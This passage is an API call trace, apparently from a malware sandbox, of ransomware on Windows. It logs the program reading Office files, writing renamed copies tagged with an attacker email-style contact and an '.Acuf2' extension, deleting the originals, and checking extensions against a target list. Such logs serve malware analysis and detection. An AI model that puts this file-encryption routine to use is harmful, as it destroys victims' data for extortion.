	[0258.429] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.429] SetEndOfFile (hFile=0x334) returned 1
	[0258.431] CloseHandle (hObject=0x334) returned 1
	[0258.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 1
	[0258.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.509] lstrlenW (lpString=".doc") returned 4
	[0258.509] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.509] lstrlenW (lpString=".docx") returned 5
	[0258.509] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.509] lstrlenW (lpString=".pdf") returned 4
	[0258.509] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.509] lstrlenW (lpString=".xls") returned 4
	[0258.509] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.509] lstrlenW (lpString=".xlsx") returned 5
	[0258.509] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.509] lstrlenW (lpString=".ppt") returned 4
	[0258.509] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.509] lstrlenW (lpString=".zip") returned 4
	[0258.509] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.509] lstrlenW (lpString=".rar") returned 4
	[0258.509] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.509] lstrlenW (lpString=".bz2") returned 4
	[0258.509] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.509] lstrlenW (lpString=".7z") returned 3
	[0258.510] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.510] lstrlenW (lpString=".dbf") returned 4
	[0258.510] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.510] lstrlenW (lpString=".1cd") returned 4
	[0258.510] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.510] lstrlenW (lpString=".jpg") returned 4
	[0258.510] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.510] lstrlenW (lpString=".doc") returned 4
	[0258.510] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.510] lstrlenW (lpString=".docx") returned 5
	[0258.510] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.510] lstrlenW (lpString=".pdf") returned 4
	[0258.510] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.510] lstrlenW (lpString=".xls") returned 4
	[0258.510] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.510] lstrlenW (lpString=".xlsx") returned 5
	[0258.510] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.510] lstrlenW (lpString=".ppt") returned 4
	[0258.510] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.510] lstrlenW (lpString=".zip") returned 4
	[0258.510] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.510] lstrlenW (lpString=".rar") returned 4
	[0258.510] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.510] lstrlenW (lpString=".bz2") returned 4
	[0258.510] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.511] lstrlenW (lpString=".7z") returned 3
	[0258.511] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.511] lstrlenW (lpString=".dbf") returned 4
	[0258.511] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.511] lstrlenW (lpString=".1cd") returned 4
	[0258.511] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx") returned 82
	[0258.511] lstrlenW (lpString=".jpg") returned 4
	[0258.511] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.511] lstrcmpiW (lpString1=".MML", lpString2=".Acuf2") returned 1
	[0258.511] lstrlenW (lpString="OFFICE10.MML") returned 12
	[0258.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0258.512] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=312376) returned 1
	[0258.512] CloseHandle (hObject=0x350) returned 1
	[0258.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20
	[0258.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0258.512] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.512] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0259.526] GetLastError () returned 0x0
	[0259.526] ReadFile (in: hFile=0x350, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x4c438, lpOverlapped=0x0) returned 1
	[0259.537] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x4c440, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x4c440, lpOverlapped=0x0) returned 1
	[0259.543] ReadFile (in: hFile=0x350, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.543] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.543] SetEndOfFile (hFile=0x354) returned 1
	[0259.543] CloseHandle (hObject=0x354) returned 1
	[0259.543] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.543] SetEndOfFile (hFile=0x350) returned 1
	[0259.571] CloseHandle (hObject=0x350) returned 1
	[0259.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.579] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 1
	[0259.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.580] lstrlenW (lpString=".doc") returned 4
	[0259.580] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1
	[0259.580] lstrlenW (lpString=".docx") returned 5
	[0259.580] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1
	[0259.580] lstrlenW (lpString=".pdf") returned 4
	[0259.580] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1
	[0259.580] lstrlenW (lpString=".xls") returned 4
	[0259.580] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1
	[0259.580] lstrlenW (lpString=".xlsx") returned 5
	[0259.580] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1
	[0259.580] lstrlenW (lpString=".ppt") returned 4
	[0259.580] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1
	[0259.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.580] lstrlenW (lpString=".zip") returned 4
	[0259.580] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1
	[0259.580] lstrlenW (lpString=".rar") returned 4
	[0259.580] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1
	[0259.580] lstrlenW (lpString=".bz2") returned 4
	[0259.580] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1
	[0259.580] lstrlenW (lpString=".7z") returned 3
	[0259.580] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1
	[0259.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.580] lstrlenW (lpString=".dbf") returned 4
	[0259.580] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1
	[0259.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.580] lstrlenW (lpString=".1cd") returned 4
	[0259.581] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1
	[0259.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.581] lstrlenW (lpString=".jpg") returned 4
	[0259.581] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1
	[0259.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.581] lstrlenW (lpString=".doc") returned 4
	[0259.581] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1
	[0259.581] lstrlenW (lpString=".docx") returned 5
	[0259.581] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1
	[0259.581] lstrlenW (lpString=".pdf") returned 4
	[0259.581] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1
	[0259.581] lstrlenW (lpString=".xls") returned 4
	[0259.581] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1
	[0259.581] lstrlenW (lpString=".xlsx") returned 5
	[0259.581] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1
	[0259.581] lstrlenW (lpString=".ppt") returned 4
	[0259.581] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1
	[0259.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.581] lstrlenW (lpString=".zip") returned 4
	[0259.581] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1
	[0259.581] lstrlenW (lpString=".rar") returned 4
	[0259.581] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1
	[0259.581] lstrlenW (lpString=".bz2") returned 4
	[0259.581] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1
	[0259.581] lstrlenW (lpString=".7z") returned 3
	[0259.581] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1
	[0259.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.581] lstrlenW (lpString=".dbf") returned 4
	[0259.581] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1
	[0259.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.582] lstrlenW (lpString=".1cd") returned 4
	[0259.582] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1
	[0259.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66
	[0259.582] lstrlenW (lpString=".jpg") returned 4
	[0259.582] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1
	[0259.582] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0259.582] lstrlenW (lpString="ASSET.VRD") returned 9
	[0259.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.601] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1694) returned 1
	[0259.601] CloseHandle (hObject=0x220) returned 1
	[0259.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20
	[0259.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.602] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.602] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0259.602] GetLastError () returned 0x0
	[0259.602] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x69e, lpOverlapped=0x0) returned 1
	[0259.603] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x6a0, lpOverlapped=0x0) returned 1
	[0259.604] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.604] WriteFile (in: hFile=0x354, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0259.604] SetEndOfFile (hFile=0x354) returned 1
	[0259.604] CloseHandle (hObject=0x354) returned 1
	[0259.604] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.604] SetEndOfFile (hFile=0x220) returned 1
	[0259.608] CloseHandle (hObject=0x220) returned 1
	[0259.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 1
	[0259.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.608] lstrlenW (lpString=".doc") returned 4
	[0259.608] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0259.608] lstrlenW (lpString=".docx") returned 5
	[0259.608] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0259.608] lstrlenW (lpString=".pdf") returned 4
	[0259.608] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0259.608] lstrlenW (lpString=".xls") returned 4
	[0259.608] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0259.608] lstrlenW (lpString=".xlsx") returned 5
	[0259.608] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0259.608] lstrlenW (lpString=".ppt") returned 4
	[0259.609] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0259.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.609] lstrlenW (lpString=".zip") returned 4
	[0259.609] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0259.609] lstrlenW (lpString=".rar") returned 4
	[0259.609] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0259.609] lstrlenW (lpString=".bz2") returned 4
	[0259.609] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0259.609] lstrlenW (lpString=".7z") returned 3
	[0259.609] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0259.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.609] lstrlenW (lpString=".dbf") returned 4
	[0259.609] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0259.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.609] lstrlenW (lpString=".1cd") returned 4
	[0259.609] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0259.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.609] lstrlenW (lpString=".jpg") returned 4
	[0259.609] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0259.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.609] lstrlenW (lpString=".doc") returned 4
	[0259.609] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0259.609] lstrlenW (lpString=".docx") returned 5
	[0259.609] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0259.609] lstrlenW (lpString=".pdf") returned 4
	[0259.609] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0259.609] lstrlenW (lpString=".xls") returned 4
	[0259.609] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0259.609] lstrlenW (lpString=".xlsx") returned 5
	[0259.609] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0259.609] lstrlenW (lpString=".ppt") returned 4
	[0259.609] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0259.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.610] lstrlenW (lpString=".zip") returned 4
	[0259.610] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0259.610] lstrlenW (lpString=".rar") returned 4
	[0259.610] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0259.610] lstrlenW (lpString=".bz2") returned 4
	[0259.610] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0259.610] lstrlenW (lpString=".7z") returned 3
	[0259.610] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0259.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.610] lstrlenW (lpString=".dbf") returned 4
	[0259.610] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0259.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.610] lstrlenW (lpString=".1cd") returned 4
	[0259.610] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0259.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD") returned 57
	[0259.610] lstrlenW (lpString=".jpg") returned 4
	[0259.610] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0259.610] lstrcmpiW (lpString1=".dll", lpString2=".Acuf2") returned 1
	[0259.610] lstrlenW (lpString="BCSRuntimeRes.dll") returned 17
	[0259.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.611] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=24960) returned 1
	[0259.611] CloseHandle (hObject=0x220) returned 1
	[0259.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll")) returned 0x20
	[0259.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0259.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.611] lstrlenW (lpString=".doc") returned 4
	[0259.611] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0259.611] lstrlenW (lpString=".docx") returned 5
	[0259.611] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0259.611] lstrlenW (lpString=".pdf") returned 4
	[0259.611] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0259.611] lstrlenW (lpString=".xls") returned 4
	[0259.611] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0259.611] lstrlenW (lpString=".xlsx") returned 5
	[0259.611] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0259.611] lstrlenW (lpString=".ppt") returned 4
	[0259.611] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0259.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.611] lstrlenW (lpString=".zip") returned 4
	[0259.611] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0259.611] lstrlenW (lpString=".rar") returned 4
	[0259.611] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0259.612] lstrlenW (lpString=".bz2") returned 4
	[0259.612] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0259.612] lstrlenW (lpString=".7z") returned 3
	[0259.612] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0259.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.612] lstrlenW (lpString=".dbf") returned 4
	[0259.612] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0259.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.612] lstrlenW (lpString=".1cd") returned 4
	[0259.612] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0259.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.612] lstrlenW (lpString=".jpg") returned 4
	[0259.612] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0259.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll") returned 65
	[0259.612] lstrlenW (lpString=".doc") returned 4
	[0259.612] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0259.612] lstrlenW (lpString=".docx") returned 5
